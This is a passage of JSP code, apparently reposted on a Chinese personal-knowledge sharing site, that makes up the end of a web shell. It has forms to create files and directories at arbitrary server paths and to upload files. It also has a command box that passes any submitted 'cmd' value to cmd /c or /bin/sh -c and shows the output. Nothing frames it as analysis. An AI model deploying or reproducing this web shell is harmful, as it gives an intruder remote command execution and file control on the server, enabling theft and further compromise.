              </tr>
             -->
            </table>
            </span>
    <%
    }       
    %>

          </td>
        </tr>

    <form name="frmMake" action="" method="post">
    <tr><td colspan=2 bgcolor=#FBFFC6>
    <input type="hidden" name="action" value="newFile">
    <input type="hidden" name="path" value="<%=strDir%>">
    <input type="hidden" name="file" value="<%=strFile%>">
    <input type="hidden" name="cmd" value="<%=strCmd%>">
    <input type="hidden" name="tabID" value="1">
    <input type="hidden" name="content" value="">
    <%
    if(!strDir.endsWith(strSeparator))
    strDir = strDir + strSeparator;
    %>
    <input type="text" name="fileName" size=36 value="<%=strDir%>">
    <input type="submit" name="btnNewFile" value="&#26032;&#24314;&#25991;&#20214;" onclick="frmMake.submit()" >
    <input type="submit" name="btnNewDir" value="&#26032;&#24314;&#30446;&#24405;"  onclick="frmMake.submit()" >
    </form>       
    <form name="frmUpload" enctype="multipart/form-data" action="" method="post">
    <input type="hidden" name="action" value="upload">
    <input type="hidden" name="path" value="<%=strDir%>">
    <input type="hidden" name="file" value="<%=strFile%>">
    <input type="hidden" name="cmd" value="<%=strCmd%>">
    <input type="hidden" name="tabID" value="1">
    <input type="hidden" name="content" value="">
    <input type="file" name="cqqUploadFile" size="36">
    <input type="submit" name="submit" value="&#19978;&#20256;">
    </td></tr></form>
      </table>
</div>
<div id="menu2" class="tabcontent">

<%
String line="";
StringBuffer sbCmd=new StringBuffer("");

if(strCmd!=null)
{
    try
    {
        //out.println(strCmd);
        String[] strShell=new String[2];
        if(strOS.startsWith("win"))
        {
            strShell[0]="cmd";
            strShell[1]="/c";
        }
        else
        {
            strShell[0]="/bin/sh";   
            strShell[1]="-c";
        }
        String[] strCommand=new String[3];
        strCommand[0]=strShell[0];
        strCommand[1]=strShell[1];
        strCommand[2]=strCmd;
        System.out.println(strCommand);
        Process p=Runtime.getRuntime().exec(strCommand,null,new File(strDir));
        BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
        while((line=br.readLine())!=null)
        {
            sbCmd.append(line+"\r\n");       
        }   
    }
    catch(Exception e)
    {
        System.out.println(e.toString());
    }
}
else
{
    strCmd = "set";
}

%>
<form name="cmd" action="" method="post">
 
<input type="text" name="cmd" value="<%=strCmd%>" size=50>
<input type="hidden" name="tabID" value="2">
<input type="hidden" name="path" value="<%=strDir%>">
<input type=submit name=submit value="<%=strExecute[languageNo]%>">
</form>
<%
if(sbCmd!=null && sbCmd.toString().trim().equals("")==false)
{
%>
 <TEXTAREA NAME="cqq" ROWS="20" COLS="100%"><%=sbCmd.toString()%></TEXTAREA>
<br> 
<%
}
%>
</DIV>
</div>
<br><br>
<center><a href="http://www." target="_blank">www.</a> ,All Rights Reserved.
<br>Any question, please email me cqq1978@Gmail.com

    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多